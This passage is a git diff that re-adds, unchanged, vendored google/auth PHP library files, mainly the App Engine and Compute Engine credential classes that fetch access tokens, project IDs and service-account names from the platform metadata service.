($this->maxKeyLength && strlen($key) > $this->maxKeyLength) { - $key = substr(hash('sha256', $key), 0, $this->maxKeyLength); - } - - return $key; - } -} +cache)) { + return; + } + + $key = $this->getFullCacheKey($k); + if (is_null($key)) { + return; + } + + $cacheItem = $this->cache->getItem($key); + if ($cacheItem->isHit()) { + return $cacheItem->get(); + } + } + + /** + * Saves the value in the cache when that is available. + */ + private function setCachedValue($k, $v) + { + if (is_null($this->cache)) { + return; + } + + $key = $this->getFullCacheKey($k); + if (is_null($key)) { + return; + } + + $cacheItem = $this->cache->getItem($key); + $cacheItem->set($v); + $cacheItem->expiresAfter($this->cacheConfig['lifetime']); + return $this->cache->save($cacheItem); + } + + private function getFullCacheKey($key) + { + if (is_null($key)) { + return; + } + + $key = $this->cacheConfig['prefix'] . $key; + + // ensure we do not have illegal characters + $key = preg_replace('|[^a-zA-Z0-9_\.!]|', '', $key); + + // Hash keys if they exceed $maxKeyLength (defaults to 64) + if ($this->maxKeyLength && strlen($key) > $this->maxKeyLength) { + $key = substr(hash('sha256', $key), 0, $this->maxKeyLength); + } + + return $key; + } +} diff --git a/vendor/google/auth/src/Credentials/AppIdentityCredentials.php b/vendor/google/auth/src/Credentials/AppIdentityCredentials.php index 84f29806b9..829344d032 100644 --- a/vendor/google/auth/src/Credentials/AppIdentityCredentials.php +++ b/vendor/google/auth/src/Credentials/AppIdentityCredentials.php @@ -1,230 +1,230 @@ -push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/books/v1', - * 'auth' => 'google_auth' - * ]); - * - * $res = $client->get('volumes?q=Henry+David+Thoreau&country=US'); - * ``` - */ -class AppIdentityCredentials extends CredentialsLoader implements - SignBlobInterface, - ProjectIdProviderInterface -{ - /** - * Result of fetchAuthToken. - * - * @var array - */ - protected $lastReceivedToken; - - /** - * Array of OAuth2 scopes to be requested. - * - * @var array - */ - private $scope; - - /** - * @var string - */ - private $clientName; - - /** - * @param array $scope One or more scopes. - */ - public function __construct($scope = array()) - { - $this->scope = $scope; - } - - /** - * Determines if this an App Engine instance, by accessing the - * SERVER_SOFTWARE environment variable (prod) or the APPENGINE_RUNTIME - * environment variable (dev). - * - * @return bool true if this an App Engine Instance, false otherwise - */ - public static function onAppEngine() - { - $appEngineProduction = isset($_SERVER['SERVER_SOFTWARE']) && - 0 === strpos($_SERVER['SERVER_SOFTWARE'], 'Google App Engine'); - if ($appEngineProduction) { - return true; - } - $appEngineDevAppServer = isset($_SERVER['APPENGINE_RUNTIME']) && - $_SERVER['APPENGINE_RUNTIME'] == 'php'; - if ($appEngineDevAppServer) { - return true; - } - return false; - } - - /** - * Implements FetchAuthTokenInterface#fetchAuthToken. - * - * Fetches the auth tokens using the AppIdentityService if available. - * As the AppIdentityService uses protobufs to fetch the access token, - * the GuzzleHttp\ClientInterface instance passed in will not be used. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return array A set of auth related metadata, containing the following - * keys: - * - access_token (string) - * - expiration_time (string) - */ - public function fetchAuthToken(callable $httpHandler = null) - { - try { - $this->checkAppEngineContext(); - } catch (\Exception $e) { - return []; - } - - // AppIdentityService expects an array when multiple scopes are supplied - $scope = is_array($this->scope) ? $this->scope : explode(' ', $this->scope); - - $token = AppIdentityService::getAccessToken($scope); - $this->lastReceivedToken = $token; - - return $token; - } - - /** - * Sign a string using AppIdentityService. - * - * @param string $stringToSign The string to sign. - * @param bool $forceOpenSsl [optional] Does not apply to this credentials - * type. - * @return string The signature, base64-encoded. - * @throws \Exception If AppEngine SDK or mock is not available. - */ - public function signBlob($stringToSign, $forceOpenSsl = false) - { - $this->checkAppEngineContext(); - - return base64_encode(AppIdentityService::signForApp($stringToSign)['signature']); - } - - /** - * Get the project ID from AppIdentityService. - * - * Returns null if AppIdentityService is unavailable. - * - * @param callable $httpHandler Not used by this type. - * @return string|null - */ - public function getProjectId(callable $httpHander = null) - { - try { - $this->checkAppEngineContext(); - } catch (\Exception $e) { - return null; - } - - return AppIdentityService::getApplicationId(); - } - - /** - * Get the client name from AppIdentityService. - * - * Subsequent calls to this method will return a cached value. - * - * @param callable $httpHandler Not used in this implementation. - * @return string - * @throws \Exception If AppEngine SDK or mock is not available. - */ - public function getClientName(callable $httpHandler = null) - { - $this->checkAppEngineContext(); - - if (!$this->clientName) { - $this->clientName = AppIdentityService::getServiceAccountName(); - } - - return $this->clientName; - } - - /** - * @return array|null - */ - public function getLastReceivedToken() - { - if ($this->lastReceivedToken) { - return [ - 'access_token' => $this->lastReceivedToken['access_token'], - 'expires_at' => $this->lastReceivedToken['expiration_time'], - ]; - } - - return null; - } - - /** - * Caching is handled by the underlying AppIdentityService, return empty string - * to prevent caching. - * - * @return string - */ - public function getCacheKey() - { - return ''; - } - - private function checkAppEngineContext() - { - if (!self::onAppEngine() || !class_exists('google\appengine\api\app_identity\AppIdentityService')) { - throw new \Exception( - 'This class must be run in App Engine, or you must include the AppIdentityService ' - . 'mock class defined in tests/mocks/AppIdentityService.php' - ); - } - } -} +push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/books/v1', + * 'auth' => 'google_auth' + * ]); + * + * $res = $client->get('volumes?q=Henry+David+Thoreau&country=US'); + * ``` + */ +class AppIdentityCredentials extends CredentialsLoader implements + SignBlobInterface, + ProjectIdProviderInterface +{ + /** + * Result of fetchAuthToken. + * + * @var array + */ + protected $lastReceivedToken; + + /** + * Array of OAuth2 scopes to be requested. + * + * @var array + */ + private $scope; + + /** + * @var string + */ + private $clientName; + + /** + * @param array $scope One or more scopes. + */ + public function __construct($scope = array()) + { + $this->scope = $scope; + } + + /** + * Determines if this an App Engine instance, by accessing the + * SERVER_SOFTWARE environment variable (prod) or the APPENGINE_RUNTIME + * environment variable (dev). + * + * @return bool true if this an App Engine Instance, false otherwise + */ + public static function onAppEngine() + { + $appEngineProduction = isset($_SERVER['SERVER_SOFTWARE']) && + 0 === strpos($_SERVER['SERVER_SOFTWARE'], 'Google App Engine'); + if ($appEngineProduction) { + return true; + } + $appEngineDevAppServer = isset($_SERVER['APPENGINE_RUNTIME']) && + $_SERVER['APPENGINE_RUNTIME'] == 'php'; + if ($appEngineDevAppServer) { + return true; + } + return false; + } + + /** + * Implements FetchAuthTokenInterface#fetchAuthToken. + * + * Fetches the auth tokens using the AppIdentityService if available. + * As the AppIdentityService uses protobufs to fetch the access token, + * the GuzzleHttp\ClientInterface instance passed in will not be used. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return array A set of auth related metadata, containing the following + * keys: + * - access_token (string) + * - expiration_time (string) + */ + public function fetchAuthToken(callable $httpHandler = null) + { + try { + $this->checkAppEngineContext(); + } catch (\Exception $e) { + return []; + } + + // AppIdentityService expects an array when multiple scopes are supplied + $scope = is_array($this->scope) ? $this->scope : explode(' ', $this->scope); + + $token = AppIdentityService::getAccessToken($scope); + $this->lastReceivedToken = $token; + + return $token; + } + + /** + * Sign a string using AppIdentityService. + * + * @param string $stringToSign The string to sign. + * @param bool $forceOpenSsl [optional] Does not apply to this credentials + * type. + * @return string The signature, base64-encoded. + * @throws \Exception If AppEngine SDK or mock is not available. + */ + public function signBlob($stringToSign, $forceOpenSsl = false) + { + $this->checkAppEngineContext(); + + return base64_encode(AppIdentityService::signForApp($stringToSign)['signature']); + } + + /** + * Get the project ID from AppIdentityService. + * + * Returns null if AppIdentityService is unavailable. + * + * @param callable $httpHandler Not used by this type. + * @return string|null + */ + public function getProjectId(callable $httpHander = null) + { + try { + $this->checkAppEngineContext(); + } catch (\Exception $e) { + return null; + } + + return AppIdentityService::getApplicationId(); + } + + /** + * Get the client name from AppIdentityService. + * + * Subsequent calls to this method will return a cached value. + * + * @param callable $httpHandler Not used in this implementation. + * @return string + * @throws \Exception If AppEngine SDK or mock is not available. + */ + public function getClientName(callable $httpHandler = null) + { + $this->checkAppEngineContext(); + + if (!$this->clientName) { + $this->clientName = AppIdentityService::getServiceAccountName(); + } + + return $this->clientName; + } + + /** + * @return array|null + */ + public function getLastReceivedToken() + { + if ($this->lastReceivedToken) { + return [ + 'access_token' => $this->lastReceivedToken['access_token'], + 'expires_at' => $this->lastReceivedToken['expiration_time'], + ]; + } + + return null; + } + + /** + * Caching is handled by the underlying AppIdentityService, return empty string + * to prevent caching. + * + * @return string + */ + public function getCacheKey() + { + return ''; + } + + private function checkAppEngineContext() + { + if (!self::onAppEngine() || !class_exists('google\appengine\api\app_identity\AppIdentityService')) { + throw new \Exception( + 'This class must be run in App Engine, or you must include the AppIdentityService ' + . 'mock class defined in tests/mocks/AppIdentityService.php' + ); + } + } +} diff --git a/vendor/google/auth/src/Credentials/GCECredentials.php b/vendor/google/auth/src/Credentials/GCECredentials.php index 70a3e7da49..c97e5d80f3 100644 --- a/vendor/google/auth/src/Credentials/GCECredentials.php +++ b/vendor/google/auth/src/Credentials/GCECredentials.php @@ -1,547 +1,547 @@ -push($middleware); - * - * $client = new Client([ - * 'handler' => $stack, - * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', - * 'auth' => 'google_auth' - * ]); - * - * $res = $client->get('myproject/taskqueues/myqueue'); - */ -class GCECredentials extends CredentialsLoader implements - SignBlobInterface, - ProjectIdProviderInterface, - GetQuotaProjectInterface -{ - // phpcs:disable - const cacheKey = 'GOOGLE_AUTH_PHP_GCE'; - // phpcs:enable - - /** - * The metadata IP address on appengine instances. - * - * The IP is used instead of the domain 'metadata' to avoid slow responses - * when not on Compute Engine. - */ - const METADATA_IP = '169.254.169.254'; - - /** - * The metadata path of the default token. - */ - const TOKEN_URI_PATH = 'v1/instance/service-accounts/default/token'; - - /** - * The metadata path of the default id token. - */ - const ID_TOKEN_URI_PATH = 'v1/instance/service-accounts/default/identity'; - - /** - * The metadata path of the client ID. - */ - const CLIENT_ID_URI_PATH = 'v1/instance/service-accounts/default/email'; - - /** - * The metadata path of the project ID. - */ - const PROJECT_ID_URI_PATH = 'v1/project/project-id'; - - /** - * The header whose presence indicates GCE presence. - */ - const FLAVOR_HEADER = 'Metadata-Flavor'; - - /** - * Note: the explicit `timeout` and `tries` below is a workaround. The underlying - * issue is that resolving an unknown host on some networks will take - * 20-30 seconds; making this timeout short fixes the issue, but - * could lead to false negatives in the event that we are on GCE, but - * the metadata resolution was particularly slow. The latter case is - * "unlikely" since the expected 4-nines time is about 0.5 seconds. - * This allows us to limit the total ping maximum timeout to 1.5 seconds - * for developer desktop scenarios. - */ - const MAX_COMPUTE_PING_TRIES = 3; - const COMPUTE_PING_CONNECTION_TIMEOUT_S = 0.5; - - /** - * Flag used to ensure that the onGCE test is only done once;. - * - * @var bool - */ - private $hasCheckedOnGce = false; - - /** - * Flag that stores the value of the onGCE check. - * - * @var bool - */ - private $isOnGce = false; - - /** - * Result of fetchAuthToken. - */ - protected $lastReceivedToken; - - /** - * @var string|null - */ - private $clientName; - - /** - * @var string|null - */ - private $projectId; - - /** - * @var Iam|null - */ - private $iam; - - /** - * @var string - */ - private $tokenUri; - - /** - * @var string - */ - private $targetAudience; - - /** - * @var string|null - */ - private $quotaProject; - - /** - * @var string|null - */ - private $serviceAccountIdentity; - - /** - * @param Iam $iam [optional] An IAM instance. - * @param string|array $scope [optional] the scope of the access request, - * expressed either as an array or as a space-delimited string. - * @param string $targetAudience [optional] The audience for the ID token. - * @param string $quotaProject [optional] Specifies a project to bill for access - * charges associated with the request. - * @param string $serviceAccountIdentity [optional] Specify a service - * account identity name to use instead of "default". - */ - public function __construct( - Iam $iam = null, - $scope = null, - $targetAudience = null, - $quotaProject = null, - $serviceAccountIdentity = null - ) { - $this->iam = $iam; - - if ($scope && $targetAudience) { - throw new InvalidArgumentException( - 'Scope and targetAudience cannot both be supplied' - ); - } - - $tokenUri = self::getTokenUri($serviceAccountIdentity); - if ($scope) { - if (is_string($scope)) { - $scope = explode(' ', $scope); - } - - $scope = implode(',', $scope); - - $tokenUri = $tokenUri . '?scopes=' . $scope; - } elseif ($targetAudience) { - $tokenUri = self::getIdTokenUri($serviceAccountIdentity); - $tokenUri = $tokenUri . '?audience=' . $targetAudience; - $this->targetAudience = $targetAudience; - } - - $this->tokenUri = $tokenUri; - $this->quotaProject = $quotaProject; - $this->serviceAccountIdentity = $serviceAccountIdentity; - } - - /** - * The full uri for accessing the default token. - * - * @param string $serviceAccountIdentity [optional] Specify a service - * account identity name to use instead of "default". - * @return string - */ - public static function getTokenUri($serviceAccountIdentity = null) - { - $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; - $base .= self::TOKEN_URI_PATH; - - if ($serviceAccountIdentity) { - return str_replace( - '/default/', - '/' . $serviceAccountIdentity . '/', - $base - ); - } - return $base; - } - - /** - * The full uri for accessing the default service account. - * - * @param string $serviceAccountIdentity [optional] Specify a service - * account identity name to use instead of "default". - * @return string - */ - public static function getClientNameUri($serviceAccountIdentity = null) - { - $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; - $base .= self::CLIENT_ID_URI_PATH; - - if ($serviceAccountIdentity) { - return str_replace( - '/default/', - '/' . $serviceAccountIdentity . '/', - $base - ); - } - - return $base; - } - - /** - * The full uri for accesesing the default identity token. - * - * @param string $serviceAccountIdentity [optional] Specify a service - * account identity name to use instead of "default". - * @return string - */ - private static function getIdTokenUri($serviceAccountIdentity = null) - { - $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; - $base .= self::ID_TOKEN_URI_PATH; - - if ($serviceAccountIdentity) { - return str_replace( - '/default/', - '/' . $serviceAccountIdentity . '/', - $base - ); - } - - return $base; - } - - /** - * The full uri for accessing the default project ID. - * - * @return string - */ - private static function getProjectIdUri() - { - $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; - - return $base . self::PROJECT_ID_URI_PATH; - } - - /** - * Determines if this an App Engine Flexible instance, by accessing the - * GAE_INSTANCE environment variable. - * - * @return bool true if this an App Engine Flexible Instance, false otherwise - */ - public static function onAppEngineFlexible() - { - return substr(getenv('GAE_INSTANCE'), 0, 4) === 'aef-'; - } - - /** - * Determines if this a GCE instance, by accessing the expected metadata - * host. - * If $httpHandler is not specified a the default HttpHandler is used. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return bool True if this a GCEInstance, false otherwise - */ - public static function onGce(callable $httpHandler = null) - { - $httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - - $checkUri = 'http://' . self::METADATA_IP; - for ($i = 1; $i <= self::MAX_COMPUTE_PING_TRIES; $i++) { - try { - // Comment from: oauth2client/client.py - // - // Note: the explicit `timeout` below is a workaround. The underlying - // issue is that resolving an unknown host on some networks will take - // 20-30 seconds; making this timeout short fixes the issue, but - // could lead to false negatives in the event that we are on GCE, but - // the metadata resolution was particularly slow. The latter case is - // "unlikely". - $resp = $httpHandler( - new Request( - 'GET', - $checkUri, - [self::FLAVOR_HEADER => 'Google'] - ), - ['timeout' => self::COMPUTE_PING_CONNECTION_TIMEOUT_S] - ); - - return $resp->getHeaderLine(self::FLAVOR_HEADER) == 'Google'; - } catch (ClientException $e) { - } catch (ServerException $e) { - } catch (RequestException $e) { - } catch (ConnectException $e) { - } - } - return false; - } - - /** - * Implements FetchAuthTokenInterface#fetchAuthToken. - * - * Fetches the auth tokens from the GCE metadata host if it is available. - * If $httpHandler is not specified a the default HttpHandler is used. - * - * @param callable $httpHandler callback which delivers psr7 request - * - * @return array A set of auth related metadata, based on the token type. - * - * Access tokens have the following keys: - * - access_token (string) - * - expires_in (int) - * - token_type (string) - * ID tokens have the following keys: - * - id_token (string) - * - * @throws \Exception - */ - public function fetchAuthToken(callable $httpHandler = null) - { - $httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - - if (!$this->hasCheckedOnGce) { - $this->isOnGce = self::onGce($httpHandler); - $this->hasCheckedOnGce = true; - } - if (!$this->isOnGce) { - return array(); // return an empty array with no access token - } - - $response = $this->getFromMetadata($httpHandler, $this->tokenUri); - - if ($this->targetAudience) { - return ['id_token' => $response]; - } - - if (null === $json = json_decode($response, true)) { - throw new \Exception('Invalid JSON response'); - } - - $json['expires_at'] = time() + $json['expires_in']; - - // store this so we can retrieve it later - $this->lastReceivedToken = $json; - - return $json; - } - - /** - * @return string - */ - public function getCacheKey() - { - return self::cacheKey; - } - - /** - * @return array|null - */ - public function getLastReceivedToken() - { - if ($this->lastReceivedToken) { - return [ - 'access_token' => $this->lastReceivedToken['access_token'], - 'expires_at' => $this->lastReceivedToken['expires_at'], - ]; - } - - return null; - } - - /** - * Get the client name from GCE metadata. - * - * Subsequent calls will return a cached value. - * - * @param callable $httpHandler callback which delivers psr7 request - * @return string - */ - public function getClientName(callable $httpHandler = null) - { - if ($this->clientName) { - return $this->clientName; - } - - $httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - - if (!$this->hasCheckedOnGce) { - $this->isOnGce = self::onGce($httpHandler); - $this->hasCheckedOnGce = true; - } - - if (!$this->isOnGce) { - return ''; - } - - $this->clientName = $this->getFromMetadata( - $httpHandler, - self::getClientNameUri($this->serviceAccountIdentity) - ); - - return $this->clientName; - } - - /** - * Sign a string using the default service account private key. - * - * This implementation uses IAM's signBlob API. - * - * @see https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/signBlob SignBlob - * - * @param string $stringToSign The string to sign. - * @param bool $forceOpenSsl [optional] Does not apply to this credentials - * type. - * @param string $accessToken The access token to use to sign the blob. If - * provided, saves a call to the metadata server for a new access - * token. **Defaults to** `null`. - * @return string - */ - public function signBlob($stringToSign, $forceOpenSsl = false, $accessToken = null) - { - $httpHandler = HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - - // Providing a signer is useful for testing, but it's undocumented - // because it's not something a user would generally need to do. - $signer = $this->iam ?: new Iam($httpHandler); - - $email = $this->getClientName($httpHandler); - - if (is_null($accessToken)) { - $previousToken = $this->getLastReceivedToken(); - $accessToken = $previousToken - ? $previousToken['access_token'] - : $this->fetchAuthToken($httpHandler)['access_token']; - } - - return $signer->signBlob($email, $accessToken, $stringToSign); - } - - /** - * Fetch the default Project ID from compute engine. - * - * Returns null if called outside GCE. - * - * @param callable $httpHandler Callback which delivers psr7 request - * @return string|null - */ - public function getProjectId(callable $httpHandler = null) - { - if ($this->projectId) { - return $this->projectId; - } - - $httpHandler = $httpHandler - ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); - - if (!$this->hasCheckedOnGce) { - $this->isOnGce = self::onGce($httpHandler); - $this->hasCheckedOnGce = true; - } - - if (!$this->isOnGce) { - return null; - } - - $this->projectId = $this->getFromMetadata($httpHandler, self::getProjectIdUri()); - return $this->projectId; - } - - /** - * Fetch the value of a GCE metadata server URI. - * - * @param callable $httpHandler An HTTP Handler to deliver PSR7 requests. - * @param string $uri The metadata URI. - * @return string - */ - private function getFromMetadata(callable $httpHandler, $uri) - { - $resp = $httpHandler( - new Request( - 'GET', - $uri, - [self::FLAVOR_HEADER => 'Google'] - ) - ); - - return (string) $resp->getBody(); - } - - /** - * Get the quota project used for this API request - * - * @return string|null - */ - public function getQuotaProject() - { - return $this->quotaProject; - } -} +push($middleware); + * + * $client = new Client([ + * 'handler' => $stack, + * 'base_uri' => 'https://www.googleapis.com/taskqueue/v1beta2/projects/', + * 'auth' => 'google_auth' + * ]); + * + * $res = $client->get('myproject/taskqueues/myqueue'); + */ +class GCECredentials extends CredentialsLoader implements + SignBlobInterface, + ProjectIdProviderInterface, + GetQuotaProjectInterface +{ + // phpcs:disable + const cacheKey = 'GOOGLE_AUTH_PHP_GCE'; + // phpcs:enable + + /** + * The metadata IP address on appengine instances. + * + * The IP is used instead of the domain 'metadata' to avoid slow responses + * when not on Compute Engine. + */ + const METADATA_IP = '169.254.169.254'; + + /** + * The metadata path of the default token. + */ + const TOKEN_URI_PATH = 'v1/instance/service-accounts/default/token'; + + /** + * The metadata path of the default id token. + */ + const ID_TOKEN_URI_PATH = 'v1/instance/service-accounts/default/identity'; + + /** + * The metadata path of the client ID. + */ + const CLIENT_ID_URI_PATH = 'v1/instance/service-accounts/default/email'; + + /** + * The metadata path of the project ID. + */ + const PROJECT_ID_URI_PATH = 'v1/project/project-id'; + + /** + * The header whose presence indicates GCE presence. + */ + const FLAVOR_HEADER = 'Metadata-Flavor'; + + /** + * Note: the explicit `timeout` and `tries` below is a workaround. The underlying + * issue is that resolving an unknown host on some networks will take + * 20-30 seconds; making this timeout short fixes the issue, but + * could lead to false negatives in the event that we are on GCE, but + * the metadata resolution was particularly slow. The latter case is + * "unlikely" since the expected 4-nines time is about 0.5 seconds. + * This allows us to limit the total ping maximum timeout to 1.5 seconds + * for developer desktop scenarios. + */ + const MAX_COMPUTE_PING_TRIES = 3; + const COMPUTE_PING_CONNECTION_TIMEOUT_S = 0.5; + + /** + * Flag used to ensure that the onGCE test is only done once;. + * + * @var bool + */ + private $hasCheckedOnGce = false; + + /** + * Flag that stores the value of the onGCE check. + * + * @var bool + */ + private $isOnGce = false; + + /** + * Result of fetchAuthToken. + */ + protected $lastReceivedToken; + + /** + * @var string|null + */ + private $clientName; + + /** + * @var string|null + */ + private $projectId; + + /** + * @var Iam|null + */ + private $iam; + + /** + * @var string + */ + private $tokenUri; + + /** + * @var string + */ + private $targetAudience; + + /** + * @var string|null + */ + private $quotaProject; + + /** + * @var string|null + */ + private $serviceAccountIdentity; + + /** + * @param Iam $iam [optional] An IAM instance. + * @param string|array $scope [optional] the scope of the access request, + * expressed either as an array or as a space-delimited string. + * @param string $targetAudience [optional] The audience for the ID token. + * @param string $quotaProject [optional] Specifies a project to bill for access + * charges associated with the request. + * @param string $serviceAccountIdentity [optional] Specify a service + * account identity name to use instead of "default". + */ + public function __construct( + Iam $iam = null, + $scope = null, + $targetAudience = null, + $quotaProject = null, + $serviceAccountIdentity = null + ) { + $this->iam = $iam; + + if ($scope && $targetAudience) { + throw new InvalidArgumentException( + 'Scope and targetAudience cannot both be supplied' + ); + } + + $tokenUri = self::getTokenUri($serviceAccountIdentity); + if ($scope) { + if (is_string($scope)) { + $scope = explode(' ', $scope); + } + + $scope = implode(',', $scope); + + $tokenUri = $tokenUri . '?scopes=' . $scope; + } elseif ($targetAudience) { + $tokenUri = self::getIdTokenUri($serviceAccountIdentity); + $tokenUri = $tokenUri . '?audience=' . $targetAudience; + $this->targetAudience = $targetAudience; + } + + $this->tokenUri = $tokenUri; + $this->quotaProject = $quotaProject; + $this->serviceAccountIdentity = $serviceAccountIdentity; + } + + /** + * The full uri for accessing the default token. + * + * @param string $serviceAccountIdentity [optional] Specify a service + * account identity name to use instead of "default". + * @return string + */ + public static function getTokenUri($serviceAccountIdentity = null) + { + $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; + $base .= self::TOKEN_URI_PATH; + + if ($serviceAccountIdentity) { + return str_replace( + '/default/', + '/' . $serviceAccountIdentity . '/', + $base + ); + } + return $base; + } + + /** + * The full uri for accessing the default service account. + * + * @param string $serviceAccountIdentity [optional] Specify a service + * account identity name to use instead of "default". + * @return string + */ + public static function getClientNameUri($serviceAccountIdentity = null) + { + $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; + $base .= self::CLIENT_ID_URI_PATH; + + if ($serviceAccountIdentity) { + return str_replace( + '/default/', + '/' . $serviceAccountIdentity . '/', + $base + ); + } + + return $base; + } + + /** + * The full uri for accesesing the default identity token. + * + * @param string $serviceAccountIdentity [optional] Specify a service + * account identity name to use instead of "default". + * @return string + */ + private static function getIdTokenUri($serviceAccountIdentity = null) + { + $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; + $base .= self::ID_TOKEN_URI_PATH; + + if ($serviceAccountIdentity) { + return str_replace( + '/default/', + '/' . $serviceAccountIdentity . '/', + $base + ); + } + + return $base; + } + + /** + * The full uri for accessing the default project ID. + * + * @return string + */ + private static function getProjectIdUri() + { + $base = 'http://' . self::METADATA_IP . '/computeMetadata/'; + + return $base . self::PROJECT_ID_URI_PATH; + } + + /** + * Determines if this an App Engine Flexible instance, by accessing the + * GAE_INSTANCE environment variable. + * + * @return bool true if this an App Engine Flexible Instance, false otherwise + */ + public static function onAppEngineFlexible() + { + return substr(getenv('GAE_INSTANCE'), 0, 4) === 'aef-'; + } + + /** + * Determines if this a GCE instance, by accessing the expected metadata + * host. + * If $httpHandler is not specified a the default HttpHandler is used. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return bool True if this a GCEInstance, false otherwise + */ + public static function onGce(callable $httpHandler = null) + { + $httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + + $checkUri = 'http://' . self::METADATA_IP; + for ($i = 1; $i <= self::MAX_COMPUTE_PING_TRIES; $i++) { + try { + // Comment from: oauth2client/client.py + // + // Note: the explicit `timeout` below is a workaround. The underlying + // issue is that resolving an unknown host on some networks will take + // 20-30 seconds; making this timeout short fixes the issue, but + // could lead to false negatives in the event that we are on GCE, but + // the metadata resolution was particularly slow. The latter case is + // "unlikely". + $resp = $httpHandler( + new Request( + 'GET', + $checkUri, + [self::FLAVOR_HEADER => 'Google'] + ), + ['timeout' => self::COMPUTE_PING_CONNECTION_TIMEOUT_S] + ); + + return $resp->getHeaderLine(self::FLAVOR_HEADER) == 'Google'; + } catch (ClientException $e) { + } catch (ServerException $e) { + } catch (RequestException $e) { + } catch (ConnectException $e) { + } + } + return false; + } + + /** + * Implements FetchAuthTokenInterface#fetchAuthToken. + * + * Fetches the auth tokens from the GCE metadata host if it is available. + * If $httpHandler is not specified a the default HttpHandler is used. + * + * @param callable $httpHandler callback which delivers psr7 request + * + * @return array A set of auth related metadata, based on the token type. + * + * Access tokens have the following keys: + * - access_token (string) + * - expires_in (int) + * - token_type (string) + * ID tokens have the following keys: + * - id_token (string) + * + * @throws \Exception + */ + public function fetchAuthToken(callable $httpHandler = null) + { + $httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + + if (!$this->hasCheckedOnGce) { + $this->isOnGce = self::onGce($httpHandler); + $this->hasCheckedOnGce = true; + } + if (!$this->isOnGce) { + return array(); // return an empty array with no access token + } + + $response = $this->getFromMetadata($httpHandler, $this->tokenUri); + + if ($this->targetAudience) { + return ['id_token' => $response]; + } + + if (null === $json = json_decode($response, true)) { + throw new \Exception('Invalid JSON response'); + } + + $json['expires_at'] = time() + $json['expires_in']; + + // store this so we can retrieve it later + $this->lastReceivedToken = $json; + + return $json; + } + + /** + * @return string + */ + public function getCacheKey() + { + return self::cacheKey; + } + + /** + * @return array|null + */ + public function getLastReceivedToken() + { + if ($this->lastReceivedToken) { + return [ + 'access_token' => $this->lastReceivedToken['access_token'], + 'expires_at' => $this->lastReceivedToken['expires_at'], + ]; + } + + return null; + } + + /** + * Get the client name from GCE metadata. + * + * Subsequent calls will return a cached value. + * + * @param callable $httpHandler callback which delivers psr7 request + * @return string + */ + public function getClientName(callable $httpHandler = null) + { + if ($this->clientName) { + return $this->clientName; + } + + $httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + + if (!$this->hasCheckedOnGce) { + $this->isOnGce = self::onGce($httpHandler); + $this->hasCheckedOnGce = true; + } + + if (!$this->isOnGce) { + return ''; + } + + $this->clientName = $this->getFromMetadata( + $httpHandler, + self::getClientNameUri($this->serviceAccountIdentity) + ); + + return $this->clientName; + } + + /** + * Sign a string using the default service account private key. + * + * This implementation uses IAM's signBlob API. + * + * @see https://cloud.google.com/iam/credentials/reference/rest/v1/projects.serviceAccounts/signBlob SignBlob + * + * @param string $stringToSign The string to sign. + * @param bool $forceOpenSsl [optional] Does not apply to this credentials + * type. + * @param string $accessToken The access token to use to sign the blob. If + * provided, saves a call to the metadata server for a new access + * token. **Defaults to** `null`. + * @return string + */ + public function signBlob($stringToSign, $forceOpenSsl = false, $accessToken = null) + { + $httpHandler = HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + + // Providing a signer is useful for testing, but it's undocumented + // because it's not something a user would generally need to do. + $signer = $this->iam ?: new Iam($httpHandler); + + $email = $this->getClientName($httpHandler); + + if (is_null($accessToken)) { + $previousToken = $this->getLastReceivedToken(); + $accessToken = $previousToken + ? $previousToken['access_token'] + : $this->fetchAuthToken($httpHandler)['access_token']; + } + + return $signer->signBlob($email, $accessToken, $stringToSign); + } + + /** + * Fetch the default Project ID from compute engine. + * + * Returns null if called outside GCE. + * + * @param callable $httpHandler Callback which delivers psr7 request + * @return string|null + */ + public function getProjectId(callable $httpHandler = null) + { + if ($this->projectId) { + return $this->projectId; + } + + $httpHandler = $httpHandler + ?: HttpHandlerFactory::build(HttpClientCache::getHttpClient()); + + if (!$this->hasCheckedOnGce) { + $this->isOnGce = self::onGce($httpHandler); + $this->hasCheckedOnGce = true; + } + + if (!$this->isOnGce) { + return null; + } + + $this->projectId = $this->getFromMetadata($httpHandler, self::getProjectIdUri()); + return $this->projectId; + } + + /** + * Fetch the value of a GCE metadata server URI. + * + * @param callable $httpHandler An HTTP Handler to deliver PSR7 requests. + * @param string $uri The metadata URI. + * @return string + */ + private function getFromMetadata(callable $httpHandler, $uri) + { + $resp = $httpHandler( + new Request( + 'GET', + $uri, + [self::FLAVOR_HEADER => 'Google'] + ) + ); + + return (string) $resp->getBody(); + } + + /** + * Get the quota project used for this API request + * + * @return string|null + */ + public function getQuotaProject() + { + return $this->quotaProject; + } +} diff --git a/vendor/google/auth/src/Credentials/IAMCredentials.php b/vendor/google/auth/src/Credentials/IAMCredentials.php index 798333fb45..5f055d8424 100644 --- a/vendor/google/auth/src/Credentials/IAMCredentials.php +++ b/vendor/google/auth/src/Credentials/IAMCredentials.php @@ -1,91 +1,91 @@ -selector = $selector; - $this->token = $token; - } - - /** - * export a callback function which updates runtime metadata. - * 